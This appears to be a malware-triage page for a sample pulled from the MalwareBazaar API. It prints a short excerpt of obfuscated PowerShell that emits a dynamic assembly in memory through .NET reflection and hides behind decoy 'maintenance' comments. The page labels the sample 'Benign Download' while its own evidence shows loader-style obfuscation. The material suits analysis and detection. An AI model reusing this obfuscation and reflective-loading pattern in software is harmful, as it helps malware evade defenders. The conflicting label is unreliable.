Benign Download

8bde885f98625269209a801cb24be5b1a53209e4a4856ca30f37442d42f04602.bin

PowerShell accesses AppDomain CurrentDomain.NET reflection marker in opaque content
SHA-2568bde885f98625269209a801cb24be5b1a53209e4a4856ca30f37442d42f04602
URLhttps://mb-api.abuse.ch/api/v1/
MaleculeH(Po)Md

Evidence

.NET reflection marker in opaque content lines 374–380
374:21… r-V VFP port-state vector.
375 $IoioMGDLlXCIRiOdfY = Ne`w`-`Ob`ject System.Reflection.AssemblyName("QItXFCBrVWBMz")
376 # Executing scheduled maintenance routine.
377 $APhGhmWwGUvtCk = [System.AppDomain]::CurrentDomain.DefineDynamicAssembly($IoioMGDLlXCIRiOdfY, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
378
379
380 # Configuring service en …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.